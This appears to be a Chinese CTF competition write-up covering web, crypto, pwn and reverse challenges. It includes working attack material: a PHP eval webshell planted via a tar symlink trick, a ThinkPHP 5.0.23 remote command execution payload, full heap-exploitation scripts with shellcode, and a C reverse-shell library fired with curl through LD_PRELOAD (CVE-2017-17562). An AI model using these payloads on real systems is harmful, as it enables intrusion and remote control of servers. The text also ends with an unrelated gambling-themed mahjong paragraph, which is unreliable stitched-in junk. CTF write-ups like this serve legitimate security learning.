Webuntar
解题思路
参考:http://knqyf263.hatenablog.com/entry/2018/06/27/181037
根据文章写的
ln -s /var/www/html/sandbox/exp.php exp.php
echo '<?php eval($_POST['a']);' > foo
tar cvf exp.tar * --transform='s/foo/exp.php/g'
tar -tvvf exp.tar
http://183.129.189.62:18907/?url=http://106.52.2.103/sandbox/exp.tar&filename=/test3/exp.tar
thinkphp?
解题思路
先下载备份文件
报错里看到 thinkphp5.0.23 ,找了一下这个版本的 rce 漏洞的payload 试了一下,发现是能执行
payload:
POST:_method=__construct&filter[]=system&server[REQUEST_METHOD]=cat+/flag 存在命令执行
Misc
EzMemory
解题思路
Crypto
give me your passport
解题思路
在genuser函数那里赋值name='Admin',拿到passport
from Crypto.Cipher import AES
from Crypto import Random
from string import ascii_letters
from random import choice,randint
import sys
import signal
#pad 'Admin'
padadmin=pad('Admin',16)
#生成iv
iv = Random.new().read(AES.block_size)
#题中的KEY
KEY = b'JustKey not fl@g'
#用KEY 和 iv 对padadmin 加密
cipher = AES.new(KEY, AES.MODE_CBC, iv)
out=cipher.encrypt(padadmin)
#将iv与padadmin拼接
out2=iv+out
check_passport=binascii.hexlify(out2) #输出为nc要输入的
Rsa
解题思路
from sympy import *
from sympy.core.numbers import igcdex
import gmpy2
import libnum
e=65537
n=22000596569856085362623019573995240143720890380678581299411213688857584612953014122879995808816872221032805734151343458921719334360194024890377075521680399678533655114261000716106870610083356478621445541840124447459943322577740268407217950081217130055057926816065068275999620502766866379465521042298370686053823448099778572878765782711260673185703889168702746195779250373642505375725925213796848495518878490786035363094086520257020021547827073768598600151928787434153003675096254792245014217044607440890694190989162318846104385311646123343795149489946251221774030484424581846841141819601874562109228016707364220840611
dp=84373069210173690047629226878686144017052129353931011112880892379361035492516066159394115482289291025932915787077633999791002846189004408043685986856359812230222233165493645074459765748901898518115384084258143483508823079115319711227124403284267559950883054402576935436305927705016459382628196407373896831725
c=14874271064669918581178066047207495551570421575260298116038863877424499500626920855863261194264169850678206604144314318171829367575688726593323863145664241189167820996601561389159819873734368810449011761054668595565217970516125181240869998009561140277444653698278073509852288720276008438965069627886972839146199102497874818473454932012374251932864118784065064885987416408142362577322906063320726241313252172382519793691513360909796645028353257317044086708114163313328952830378067342164675055195428728335222242094290731292113709866489975077052604333805889421889967835433026770417624703011718120347415460385182429795735
p = gcd(n,pow(2,e*dp,n)-2)
# print p
q = n//p
# print q
d = long(igcdex(e,(p-1)*(q-1))[0]%n)
print hex(pow(c,d,n))[2:-1].decode('hex')
DES
解题思路
import pyDes
import base64
deskey = "********"
DES = pyDes.des(deskey)
DES.setMode('ECB')
DES.Kn = [
[1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 0, 0, 0, 1, 1, 0, 0, 0, 1, 1, 1, 0, 1, 1, 0, 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 1, 1, 0, 0, 0],
[1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 1, 1, 0, 0, 1, 0, 1, 0, 0, 1, 0, 1, 0, 0, 1, 0, 1, 1, 0, 0, 0, 1, 1, 0, 1, 1, 0, 0, 0, 1, 0, 0, 1, 1, 0],
[0, 1, 1, 0, 0, 1, 0, 0, 1, 1, 0, 1, 0, 1, 1, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 1, 0, 1, 1, 1, 1, 1, 0, 0, 1, 0, 0],
[1, 1, 0, 0, 0, 1, 1, 0, 1, 1, 0, 1, 0, 0, 0, 1, 0, 1, 0, 1, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 1, 1, 0, 1, 0, 0, 0, 1, 1, 0, 1, 0, 0, 1, 1],
[0, 0, 1, 0, 1, 1, 1, 0, 1, 1, 0, 0, 0, 0, 1, 1, 0, 1, 0, 1, 0, 0, 1, 1, 0, 1, 1, 0, 0, 1, 1, 1, 1, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1],
[0, 0, 1, 0, 1, 1, 1, 1, 0, 1, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 1, 1, 1, 0, 1, 0, 1, 0, 1, 1, 0, 0, 1, 0, 0, 1, 0, 1, 0, 1, 0, 0, 1, 0, 1, 0],
[0, 0, 1, 0, 1, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 1, 1, 0, 0, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 0, 0, 0, 1, 1, 0],
[0, 0, 0, 1, 1, 1, 0, 1, 0, 1, 0, 0, 1, 0, 0, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 0, 1, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 1, 1, 1, 0, 0, 1, 1, 0],
[0, 0, 0, 1, 1, 1, 0, 1, 0, 1, 0, 0, 1, 0, 0, 1, 1, 1, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 0, 0, 1, 0, 1, 0, 1, 0, 1, 0, 0],
[0, 0, 0, 1, 0, 0, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 0, 1, 1, 0, 1, 0, 1, 1, 0, 0, 0, 0, 1, 1, 0, 1, 0, 0, 1, 0, 0, 1, 0, 1, 1, 1, 0, 0, 0],
[0, 0, 0, 1, 1, 0, 0, 1, 0, 0, 1, 0, 1, 1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 1, 1, 1, 1, 0, 1, 0, 0, 1, 0, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 1, 0, 1, 1],
[0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 0, 1, 0, 1, 1, 0, 1, 0, 0, 0, 0, 1, 1, 1, 0, 0, 1, 0, 1, 0, 0, 1, 0, 0, 0, 1, 1, 1, 1, 1, 0],
[1, 1, 0, 1, 0, 0, 0, 1, 1, 0, 1, 0, 0, 1, 0, 0, 1, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 1, 0, 0, 1, 1, 1, 1, 0, 0, 1, 0, 0],
[1, 1, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 1, 1, 1, 0, 1, 0, 1, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 1],
[1, 1, 1, 1, 0, 0, 0, 0, 1, 0, 1, 1, 0, 0, 1, 0, 0, 0, 1, 0, 0, 1, 1, 0, 1, 1, 0, 0, 0, 0, 1, 1, 1, 0, 1, 0, 1, 1, 1, 0, 0, 0, 0, 1, 0, 1, 0, 1],
[1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 1, 1, 1, 1, 1, 0, 0, 0, 1, 0, 0, 1, 1, 0, 1, 0, 1, 0, 0, 0, 0, 1, 1, 0, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 1, 1]
]
cipher_list= "gAN5RT1XWKI0OyUayZj35SlKQ+if2PAJ"
cipher=base64.b64decode(cipher_list)
mes = DES.decrypt(cipher)
print(mes)
import pyDes
import base64
deskey = "********"
DES = pyDes.des(deskey)
DES.setMode('ECB')
DES.Kn = [
[1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 0, 0, 0, 1, 1, 0, 0, 0, 1, 1, 1, 0, 1, 1, 0, 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 1, 1, 0, 0, 0],
[1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 1, 1, 0, 0, 1, 0, 1, 0, 0, 1, 0, 1, 0, 0, 1, 0, 1, 1, 0, 0, 0, 1, 1, 0, 1, 1, 0, 0, 0, 1, 0, 0, 1, 1, 0],
[0, 1, 1, 0, 0, 1, 0, 0, 1, 1, 0, 1, 0, 1, 1, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 1, 0, 1, 1, 1, 1, 1, 0, 0, 1, 0, 0],
[1, 1, 0, 0, 0, 1, 1, 0, 1, 1, 0, 1, 0, 0, 0, 1, 0, 1, 0, 1, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 1, 1, 0, 1, 0, 0, 0, 1, 1, 0, 1, 0, 0, 1, 1],
[0, 0, 1, 0, 1, 1, 1, 0, 1, 1, 0, 0, 0, 0, 1, 1, 0, 1, 0, 1, 0, 0, 1, 1, 0, 1, 1, 0, 0, 1, 1, 1, 1, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1],
[0, 0, 1, 0, 1, 1, 1, 1, 0, 1, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 1, 1, 1, 0, 1, 0, 1, 0, 1, 1, 0, 0, 1, 0, 0, 1, 0, 1, 0, 1, 0, 0, 1, 0, 1, 0],
[0, 0, 1, 0, 1, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 1, 1, 0, 0, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 0, 0, 0, 1, 1, 0],
[0, 0, 0, 1, 1, 1, 0, 1, 0, 1, 0, 0, 1, 0, 0, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 0, 1, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 1, 1, 1, 0, 0, 1, 1, 0],
[0, 0, 0, 1, 1, 1, 0, 1, 0, 1, 0, 0, 1, 0, 0, 1, 1, 1, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 0, 0, 1, 0, 1, 0, 1, 0, 1, 0, 0],
[0, 0, 0, 1, 0, 0, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 0, 1, 1, 0, 1, 0, 1, 1, 0, 0, 0, 0, 1, 1, 0, 1, 0, 0, 1, 0, 0, 1, 0, 1, 1, 1, 0, 0, 0],
[0, 0, 0, 1, 1, 0, 0, 1, 0, 0, 1, 0, 1, 1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 1, 1, 1, 1, 0, 1, 0, 0, 1, 0, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 1, 0, 1, 1],
[0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 0, 1, 0, 1, 1, 0, 1, 0, 0, 0, 0, 1, 1, 1, 0, 0, 1, 0, 1, 0, 0, 1, 0, 0, 0, 1, 1, 1, 1, 1, 0],
[1, 1, 0, 1, 0, 0, 0, 1, 1, 0, 1, 0, 0, 1, 0, 0, 1, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 1, 0, 0, 1, 1, 1, 1, 0, 0, 1, 0, 0],
[1, 1, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 1, 1, 1, 0, 1, 0, 1, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 1],
[1, 1, 1, 1, 0, 0, 0, 0, 1, 0, 1, 1, 0, 0, 1, 0, 0, 0, 1, 0, 0, 1, 1, 0, 1, 1, 0, 0, 0, 0, 1, 1, 1, 0, 1, 0, 1, 1, 1, 0, 0, 0, 0, 1, 0, 1, 0, 1],
[1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 1, 1, 1, 1, 1, 0, 0, 0, 1, 0, 0, 1, 1, 0, 1, 0, 1, 0, 0, 0, 0, 1, 1, 0, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 1, 1]
]
cipher_list= "gAN5RT1XWKI0OyUayZj35SlKQ+if2PAJ"
cipher=base64.b64decode(cipher_list)
mes = DES.decrypt(cipher)
print(mes)
pic=[0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 1, 1, 1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 1, 1, 0, 0, 1, 0, 0, 1, 1, 1, 1, 0, 1, 0, 0, 0, 0, 1, 0, 1, 1, 0, 0, 0, 0, 0]
#[0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 1, 1, 1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 1, 1, 0, 0, 1, 0, 0, 1, 1, 1, 1, 0, 1, 0, 0, 0, 0, 1, 0, 1, 1, 0, 0, 0, 0, 0]
#[0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 2, 1, 1, 1, 1, 1, 0, 0, 1, 2, 1, 0, 1, 2, 0, 0, 2, 0, 1, 0, 1, 1, 0, 0, 1, 0, 2, 1, 1, 2, 1, 0, 1, 0, 2, 0, 0, 1, 0, 1, 1, 0, 0, 0, 0, 2]
def __permutate(self, table, block):
"""Permutate this block with the specified table"""
return list(map(lambda x: block[x], table))
__pc2 = [
13, 16, 10, 23, 0, 4,
2, 27, 14, 5, 20, 9,
22, 18, 11, 3, 25, 7,
15, 6, 26, 19, 12, 1,
40, 51, 30, 36, 46, 54,
29, 39, 50, 44, 32, 47,
43, 48, 38, 55, 33, 52,
45, 41, 49, 35, 28, 31
]
x=[2]*56
for i in range(48):
x[__pc2[i]]=DES.Kn[1][i]
print(x[:28])
print(x[28:])
__pc1 = [56, 48, 40, 32, 24, 16, 8,
0, 57, 49, 41, 33, 25, 17,
9, 1, 58, 50, 42, 34, 26,
18, 10, 2, 59, 51, 43, 35,
62, 54, 46, 38, 30, 22, 14,
6, 61, 53, 45, 37, 29, 21,
13, 5, 60, 52, 44, 36, 28,
20, 12, 4, 27, 19, 11, 3
]
y=[2]*64
for i in range(56):
y[__pc1[i]]=pic[i]
print(y)
#[0, 1, 0, 0, 0, 0, 0, 1|, 0, 1, 1, 0, 1, 1, 1, 1|, 0, 1, 0, 0, 1, 0, 0, 0|, 0, 1, 1, 0, 0, 1, 0, 1|, 0, 1, 1, 0, 1, 1, 1, 1|, 0, 1, 1, 0, 0, 1, 1, 0|, 0, 1, 0, 0, 0, 1, 0, 0|, 0, 1, 0, 0, 0, 0, 1, 0
最后进行key的爆破:
bin1='0100000'
bin2='0110111'
bin3='0100100'
bin4='0110010'
bin5='0110111'
bin6='0110011'
bin7='0100010'
bin8='0100001'
for i1 in range(2):
for i2 in range(2):
for i3 in range(2):
for i4 in range(2):
for i5 in range(2):
for i6 in range(2):
for i7 in range(2):
for i8 in range(2):
bin1='0100000'
bin2='0110111'
bin3='0100100'
bin4='0110010'
bin5='0110111'
bin6='0110011'
bin7='0100010'
bin8='0100001'
bin1+=chr(i1+48)
bin2+=chr(i2+48)
bin3+=chr(i3+48)
bin4+=chr(i4+48)
bin5+=chr(i5+48)
bin6+=chr(i6+48)
bin7+=chr(i7+48)
bin8+=chr(i8+48)
oc1=int(bin1,2)
oc2=int(bin2,2)
oc3=int(bin3,2)
oc4=int(bin4,2)
oc5=int(bin5,2)
oc6=int(bin6,2)
oc7=int(bin7,2)
oc8=int(bin8,2)
str1=''
str1+=chr(oc1)+chr(oc2)+chr(oc3)+chr(oc4)+chr(oc5)+chr(oc6)+chr(oc7)+chr(oc8)
print(str1)
PWN
hacknote
解题思路
我这个做法比较绕,应该有更快的做法。。。
Edit函数里,重新给size赋值导致off by one
通过fastbin attack , 伪造一个合法的size(如0x61,0x6f)到main arena
fastbin attack,分配到main arena上,修改top chunk指针到.bss,再分配,往.bss写shellcode
再改top chunk指针到malloc hook,再分配,往malloc hook中写入shellcode地址
#-*-coding:utf8-*-
#Sunxiaokong
from pwn import *
context.terminal = ['terminator', '-x', '/bin/bash', '-c']
if args['REMOTE']:
p = remote('183.129.189.62', 21204)
else:
p = process('./HackNote')
def add(size, note):
p.sendline('1')
p.sendlineafter('Input the Size:', str(size))
p.sendlineafter('Input the Note:', note)
#p.recvuntil('Add Done!')
def delete(index):
p.sendline('2')
p.sendlineafter('Input the Index of Note:', str(index))
def edit(index, new_note):
p.sendline('3')
p.sendlineafter('Input the Index of Note:', str(index))
p.sendlineafter('Input the Note:', new_note)
def pwn():
malloc_hook = 0x6cb788
fake_size = 0x6cb830
malloc_hook = 0x6cb788
fake_top = 0x00000000006CC298-0x8
#块堆叠 第1次
add(0x90, '0') #0
add(0x58, '1') #1
add(0xf0, '2') #2
add(0x10, '3') #3
edit(1, 'a'*0x58)
delete(0)
edit(1, 'a'*0x50+p64(0x100)+'\x00\x01')
delete(2)
add(0x90, 'd') #0
add(0x50, 'a') #2
add(0xf0, 'd') #4
#块堆叠 第2次,往main arena 中写入一个可用的small chunk的size
add(0x90, 'a') #5
add(0x68, 'b') #6
add(0xf0, 'c') #7
add(0x10, 'd') #8
edit(6, 'a'*0x68)
delete(5)
edit(6, 'a'*0x60+p64(0x110)+'\x00\x01')
delete(7)
add(0x90, 'c') #5
add(0x60, 'a') #7 6 .7 same
add(0xf0, 'c') #9
delete(6)
edit(7, p64(0x61)) #
add(0x60, 'a') #6 分配一次后,刚才改写的fd:0x61就进入main_arena了
#继续利用第一次快堆叠,将fd改到刚才的fake size上
delete(1)
edit(2, p64(fake_size-8))
add(0x50, 'a') #1
#块堆叠第三次,fastbin attack到刚才伪造好size的main arena
add(0x90, 'a') #10
add(0x28, 'b') #11
add(0xf0, 'c') #12
add(0x10, 'p') #13
edit(11, 'a'*0x28)
delete(10)
edit(11, 'b'*0x20+p64(0xd0)+'\x00\x01')
delete(12)
add(0x90, 'c') #10
add(0x20, 'a') #12 11 .12 same
add(0xf0, 'c') #10
delete(11)
add(0x50, p64(0x31)*4 + p64(fake_top)) #分配到main arena,改写top chunk指针到.bss上,写入shellcode
delete(3) #腾出list空间,不然full
#shellcode = shellcraft.amd64.sh()
shellcode = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
add(0x300, shellcode)
edit(11, 'a'*0x20+p64(malloc_hook-0x10)) #再改写top指针到malloc hook
delete(8) #腾出list空间,不然full
add(0x100, p64(0x6cc2a0)) #往malloc hook 写入 shellcode地址
delete(2) #腾出list空间,不然full
p.sendline('1')
p.sendlineafter('Input the Size:', str(150))
p.interactive()
pwn()
'''
main_arena:
pwndbg> x/30xg 0x00000000006cb800
'''
NameSystem
解题思路
利用drop漏洞 删除chunk18复制一个相同的chunk19地址在ptr里,可以double free
程序在free后移动idx时,存在double free,got表附近有可利用size,0x60与0x40分别是延迟绑定的和未绑定函数的地址,使用double_free分配到got表改free_got -> printf_plt ,free(ptr) -> printf(ptr) 利用格式化字符串漏洞leak栈中的libc地址,然后再改printf_got为system,因为free_got再第一次被修改后就不再次释放了,所以之前要构造好两条double free链.
from pwn import *
context.log_level = 'debug'
prog = './NameSystem'
elf = ELF(prog)
#p = process(prog)
libc = ELF("./libc-2.23.so")
p = remote("183.129.189.62", 21705)
def dbg():
gdb.attach(p)
p.interactive()
def add(size, name):
p.sendlineafter("Your choice :\n", '1')
p.sendlineafter("Name Size:", str(size))
p.sendlineafter("Name:", name)
def free(idx):
p.sendlineafter("Your choice :\n", '3')
p.sendlineafter("The id you want to delete:", str(idx))
def exp():
add(0x60, '%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p')
add(0x60, '/bin/sh\x00')
for i in range(8):
add(0x60, '%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p')
for i in range(5):
add(0x30, 'a')
for i in range(5):
add(0x50, 'a')
free(18)
free(19)
free(16)
free(17)
free(9)
add(0x50, p64(0x601ffa))
for i in range(3):
add(0x30, 'a')
free(18)
free(19)
free(17)
free(17)
add(0x30, p64(0x602022))
for i in range(4):
free(0)
add(0x30, 'a')
add(0x30, 'a')
add(0x50, 'a')
add(0x50, 'a')
add(0x50, '\x00'*(6)+p64(0)+'\xd0\x06\x40\x00\x00')
free(0)
libc_base = int(p.recvuntil("Done!", drop = True)[-12:], 16)-0x20830
success(hex(libc_base))
system = libc_base + libc.sym['system']
one = libc_base + 0x45216
success(hex(system))
add(0x30, 'a'*6+p64(one))
#dbg()
p.interactive()
if __name__ == '__main__':
exp()
Reverse
arguement
解题思路
1.准备
获取到信息:
32位的文件
upx加密文件
在控制台打开文件
使用"upx -d reverse.exe"解密
2.IDA打开
直接在String中,找到引用"Input Your Flag:"的位置
int __usercall sub_415280@<
eax>(int xmm0_4_0@<
xmm0>, int a1, int a2)
{
int v3; // edx
FILE *v4; // eax
int v5; // edx
int v6; // ecx
char *v7; // eax
int v8; // edx
int v9; // ecx
int v10; // ST04_4
int v11; // ST08_4
char v13; // [esp+0h] [ebp-134h]
char Buf; // [esp+D0h] [ebp-64h]
size_t i; // [esp+100h] [ebp-34h]
FILE *File; // [esp+10Ch] [ebp-28h]
char v17; // [esp+118h] [ebp-1Ch]
int v18; // [esp+130h] [ebp-4h]
int savedregs; // [esp+134h] [ebp+0h]
sub_411208((int)&unk_41C008);
printf("Input Your Flag:\n", v13);
sub_41137F("s", (unsigned int)&v17); // v12大小为24
if ( a1 != 2 )
{
printf("Input error!\n", v13);
exit(1);
}
printf("%s\n", *(_DWORD *)(a2 + 4)); // 在执行文件时,执行的第一个参数
for ( i = 0; i < j_strlen(*(const char **)(a2 + 4)); ++i )// 遍历执行文件时输入的字符串
*(_BYTE *)(*(_DWORD *)(a2 + 4) + i) += i; // 每一位 str[i] += i
if ( !j_strcmp(Str1, *(const char **)(a2 + 4)) )// 和“fmcj2y~{”比较
{
v4 = fopen(*(const char **)(a2 + 4), "r"); // 下面两句文件操作,应该是获取输入的
File = (FILE *)sub_411212(v6, v5, &v13 == &v13, (int)v4, xmm0_4_0);
if ( File )
{
v7 = fgets(&Buf, 40, File);
sub_411212(v9, v8, &v13 == &v13, (int)v7, xmm0_4_0);
if ( j_strlen(&Buf) != 32 || j_strlen(&Buf) % 2 == 1 )// 输入长度应该是32
exit(1);
sub_4113B1(xmm0_4_0, &Buf, (int)&unk_41A4E0);
if ( sub_4113B6(xmm0_4_0, (int)&unk_41A4E0) )
printf("flag{%s}", (unsigned int)&Buf);
else
printf("Input Error!\n", v13);
}
else
{
printf("Input Error!\n", v13);
}
}
else
{
printf("Input Error!\n", v13);
}
sub_411235(&savedregs, dword_4154C4, 0, v3);
return sub_411212((unsigned int)&savedregs ^ v18, v11, 1, v10, xmm0_4_0);
}
因此在运行时文件我们要在后面带一个参数,这个参数通过分析代码,我们可以写个脚本解出
str1 = 'fmcj2y~{'
str2 = ''
for i in range(len(str1)):
str2 += chr(ord(str1[i]) - i)
print (str2)
3.代码分析
通过分析,可以知道关键的函数是sub_4113B1和sub_4113B6。
3.1 sub_4113B1函数
int __usercall sub_414E50@<
eax>(int a1@<
xmm0>, char *Str, int a3)
{
unsigned int v3; // eax
int v4; // edx
int v5; // ecx
char v7; // [esp+0h] [ebp-E4h]
int v8; // [esp+D0h] [ebp-14h]
signed int i; // [esp+DCh] [ebp-8h]
sub_411208((int)&unk_41C008);
dword_41A078[8] = 0xA7;
dword_41A078[9] = 0xDE;
dword_41A078[10] = 0xDA;
dword_41A078[11] = 0x46;
dword_41A078[12] = 0xAB;
dword_41A078[13] = 0x2E;
dword_41A078[14] = 0xFF;
dword_41A078[15] = 0xDB;
for ( i = 0; ; i += 2 ) // 0开始,2跳
{
v3 = j_strlen(Str); // v3为Buf长度32
if ( i >= v3 )
break;
if ( Str[i] >= 48 && Str[i] <= 57 ) // '0'~'9'
{
*(_DWORD *)(a3 + 4 * (i / 2)) = Str[i] - 48;// 字符转换为整型
}
else
{
if ( Str[i] < 97 || Str[i] > 102 ) // 非'a'~'f',说明组成的字符是'0'~'9'||'a'~'f',十六进制啊
{
printf("Input Error!\n", v7);
exit(0);
}
*(_DWORD *)(a3 + 4 * (i / 2)) = Str[i] - 87;// 十六进制啊!'a'~'f'就是10~15
}
*(_DWORD *)(a3 + 4 * (i / 2)) *= 16; // 最后还要乘16
if ( Str[i + 1] >= 48 && Str[i + 1] <= 57 ) // i=1,3,5...如果为数字
{
v8 = Str[i + 1] - 48; // v8=字符转数字
}
else
{
if ( Str[i + 1] < 97 || Str[i + 1] > 102 )
{
printf("Input Error!\n", v7);
exit(0);
}
v8 = Str[i + 1] - 87; // i=1,3,5...如果是'a'~'f'字符转数字,10~15
}
*(_DWORD *)(a3 + 4 * (i / 2)) += v8; // a3[i]+=v8
}
return sub_411212(v5, v4, 1, v3, a1);
}
这个函数有两个作用:
对dword_41A078后8双字节赋值
将输入的字符串,两两字符转换为数字,存入v4,例如:输入"a1b2c3"将会转换为0xa1b2c3
3.2 sub_4113B6函数
int __usercall sub_411D90@<
eax>(int a1@<
xmm0>, int a2)
{
int v2; // edx
int v3; // ecx
int v4; // eax
signed int i; // [esp+D0h] [ebp-8h]
sub_411208((int)&unk_41C008);
for ( i = 0; i < 16; ++i )
{
v3 = a2; // v3赋值为之前得到的整数
v2 = *(_DWORD *)(a2 + 4 * i) + 1; // v2=v2[i]+1
if ( v2 != dword_41A078[i] )
{
v4 = 0;
return sub_411212(v3, v2, 1, v4, a1);
}
}
v4 = 1;
return sub_411212(v3, v2, 1, v4, a1);
}
这个函数将我们转换输入字符串得到的v4。每一位加1之后与已知的dword_41A078数组比较。
dword_41A078:
50h 0C6h 0F1h 0E4h 0E3h 0E2h 9Ah 0A1h 0A7h 0DEh 0DAh 46h 0ABh 2Eh 0FFh 0DBh
因此我们只要将dword_41A078每一位减1,就能得到v4,从而输入的Buf也得到了了
v4
4fc5f0e3e2e199a0a6ddd945aa2dfeda
Buf
"4fc5f0e3e2e199a0a6ddd945aa2dfeda"
而回到主函数
if ( sub_4113B6(xmm0_4_0, (int)&unk_41A4E0) )
printf("flag{%s}", (unsigned int)&Buf);
EzRE
解题思路
迷宫题,得知是安恒6月月赛原题,直接输入2 4 4 1 4 4 4 2 2 2 2 3 3 1 3 3 3 2 2 4 4 2 4 4 4 4。得到flag
icekey
解题思路
源程序中存在解密代码,直接修改array的值让程序自身去解密,就会得到flag
创新
大数据安全
解题思路
CVE-2017-17562;
uint32_t server_port=7777;
static void reverse_shell(void) __attribute__((constructor));
static void reverse_shell(void)
{
//socket initialize
int sock = socket(AF_INET, SOCK_STREAM, 0);
struct sockaddr_in attacker_addr = {0};
attacker_addr.sin_family = AF_INET;
attacker_addr.sin_port = htons(server_port);
attacker_addr.sin_addr.s_addr = inet_addr(server_ip);
//connect to the server
if(connect(sock, (struct sockaddr *)&attacker_addr,sizeof(attacker_addr))!=0)
exit(0);
//dup the socket to stdin, stdout and stderr
dup2(sock, 0);
dup2(sock, 1);
dup2(sock, 2);
//execute /bin/sh to get a shell
execve("/bin/sh", 0, 0);
}
编译生成动态链接库 payload.so
payload:
curl -X POST --data-binary @payload.so "http://183.129.189.62:19800/cgi-bin/index?LD_PRELOAD=/proc/self/fd/0" -i
成功反弹shell
接着在 /home/ctf/flag 中得到flag,中途shell一直断 orz
招新小广告
ChaMd5 ctf组 长期招新
尤其是crypto+reverse+pwn+合约的大佬
欢迎联系admin@chamd5.org
中,庄家的第一句随意安排,在第一局之后是由上一局第一个胡牌的玩家坐庄,如果是一炮双响或者一炮三响博彩问答,那么就由放炮的玩家坐庄。甩色子是由庄家投掷两枚骰子之后作为确定端牌的起始位子。跳牌是庄家摸到第14张牌的时候,需要隔一些牌上面摸一张牌,这个就是所谓的跳牌。定张氏在一局的开始时就定下了不要哪门牌,之后就不能更改,一般讲一张这样颜色的牌面向下摆放着博彩问答,第一轮打出去。